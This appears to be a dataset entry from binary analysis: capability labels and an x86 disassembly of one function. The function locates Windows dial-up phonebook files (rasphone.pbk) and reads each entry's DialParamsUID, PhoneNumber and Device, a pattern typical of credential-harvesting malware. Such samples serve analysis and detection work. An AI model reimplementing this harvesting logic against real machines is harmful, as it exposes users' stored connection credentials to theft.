Function at 0x4030e0
Capabilities:
Check os version
Get common file path
Read .ini file

Disassembly:
sub esp, 0x7c4
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32_LoadLibraryA]
push edi
push str.wsprintfA
mov ebx, ecx
push str.User32.DLL
call esi
mov edi, dword [sym.imp.KERNEL32_GetProcAddress]
push eax
call edi
push str.SHGetSpecialFolderPathA
push 0x4181c0
mov ebp, eax
call esi
push eax
call edi
mov dword [esp + 0x14], eax
lea eax, [esp + 0xc4]
push 0x105
push eax
call dword [sym.imp.KERNEL32_GetWindowsDirectoryA]
lea ecx, [esp + 0xc4]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT_strchr]
mov edx, eax
add esp, 8
mov edi, str.Documents_and_Settings_
or ecx, 0xffffffff
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebx + 0x14]
mov esi, dword [sym.imp.KERNEL32_lstrcatA]
push ecx
push edx
call esi
lea eax, [esp + 0xc4]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
call esi
push 0
lea ecx, [esp + 0x2d0]
push 0x23
push ecx
push 0
call dword [esp + 0x24]
lea edx, [esp + 0x2cc]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push edx
lea eax, [esp + 0x2d4]
push 0x41812c
push eax
call ebp
add esp, 0x10
lea eax, [esp + 0x30]
lea ecx, [esp + 0xc4]
lea edx, [esp + 0x2cc]
push eax
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], edx
mov dword [esp + 0x34], 0x94
call dword [sym.imp.KERNEL32_GetVersionExA]
mov eax, dword [esp + 0x40]
mov esi, 2
cmp eax, esi
jne 0x4031ff
cmp dword [esp + 0x34], 5
jb 0x4031ff
mov ecx, ebx
call fcn.00402ff0
push 0x1000
call sub.MSVCRT_void____cdecl_operator_new_unsigned_int_
mov ebp, eax
lea ecx, [esp + 0x2c]
add esp, 4
mov dword [esp + 0x24], ebp
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], esi
mov edx, dword [esp + 0x18]
mov ecx, 0x400
xor eax, eax
mov edi, ebp
mov esi, dword [edx]
push esi
push 0x1000
rep stosd dword es:[edi], eax
push ebp
mov dword [esp + 0x2c], esi
call dword [sym.imp.KERNEL32_GetPrivateProfileSectionNamesA]
cmp byte [ebp], 0
je 0x403439
jmp 0x403250
mov esi, dword [esp + 0x20]
push ebp
mov ecx, ebx
call fcn.00403890
mov dword [esp + 0x1c], eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1cc]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x4d4]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x5d4]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x3d4]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x6d4]
rep stosd dword es:[edi], eax
push esi
lea eax, [esp + 0x1d0]
push 0x100
push eax
push 0
push str.DialParamsUID
push ebp
call dword [sym.imp.KERNEL32_GetPrivateProfileStringA]
test eax, eax
jle 0x403389
mov eax, dword [ebx + 0x10]
xor edi, edi
test eax, eax
jle 0x403389
mov dword [esp + 0x10], edi
mov ecx, dword [esp + 0x10]
mov eax, dword [ebx + 0x1c]
add ecx, eax
lea edx, [esp + 0x1cc]
push ecx
push edx
call dword [sym.imp.KERNEL32_lstrcmpA]
test eax, eax
je 0x40330d
mov ecx, dword [esp + 0x10]
mov eax, dword [ebx + 0x10]
inc edi
add ecx, 0x301
cmp edi, eax
mov dword [esp + 0x10], ecx
jl 0x4032d9
jmp 0x403389
mov ecx, dword [ebx + 0x1c]
lea eax, [edi + edi*2]
shl eax, 8
add eax, edi
lea esi, [esp + 0x4d4]
mov dword [esp + 0x10], esi
lea edx, [eax + ecx]
or ecx, 0xffffffff
xor eax, eax
lea edi, [edx + 0x200]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [edx + 0x100]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea esi, [esp + 0x5d4]
sub edi, ecx
mov eax, ecx
mov dword [esp + 0x10], esi
mov esi, edi
mov edi, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x20]
mov byte [edx + 0x300], 1
inc dword [ebx + 8]
mov edi, dword [sym.imp.KERNEL32_GetPrivateProfileStringA]
push esi
lea ecx, [esp + 0x3d8]
push 0x100
push ecx
push 0
push str.PhoneNumber
push ebp
call edi
push esi
lea edx, [esp + 0x6d8]
push 0x100
push edx
push 0
push str.Device
push ebp
call edi
lea eax, [esp + 0x6d4]
mov ecx, ebx
push eax
call fcn.00403890
lea ecx, [esp + 0x4d4]
mov edi, eax
push ecx
mov ecx, ebx
call fcn.00403890
mov ecx, dword [esp + 0x1c]
mov esi, eax
lea edx, [esp + 0x3d4]
push edi
lea eax, [esp + 0x5d8]
push edx
push eax
push esi
lea edx, [esp + 0x1dc]
push ecx
push edx
mov ecx, ebx
call fcn.00403470
mov eax, dword [esp + 0x1c]
push eax
call sub.MSVCRT_void___cdecl_operator_delete_void__
push esi
call sub.MSVCRT_void___cdecl_operator_delete_void__
push edi
call sub.MSVCRT_void___cdecl_operator_delete_void__
add esp, 0xc
push ebp
call dword [sym.imp.KERNEL32_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x40324c
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
add ecx, 4
dec eax
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], eax
jne 0x40321e
push ebp
call sub.MSVCRT_void___cdecl_operator_delete_void__
add esp, 4
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x7c4
ret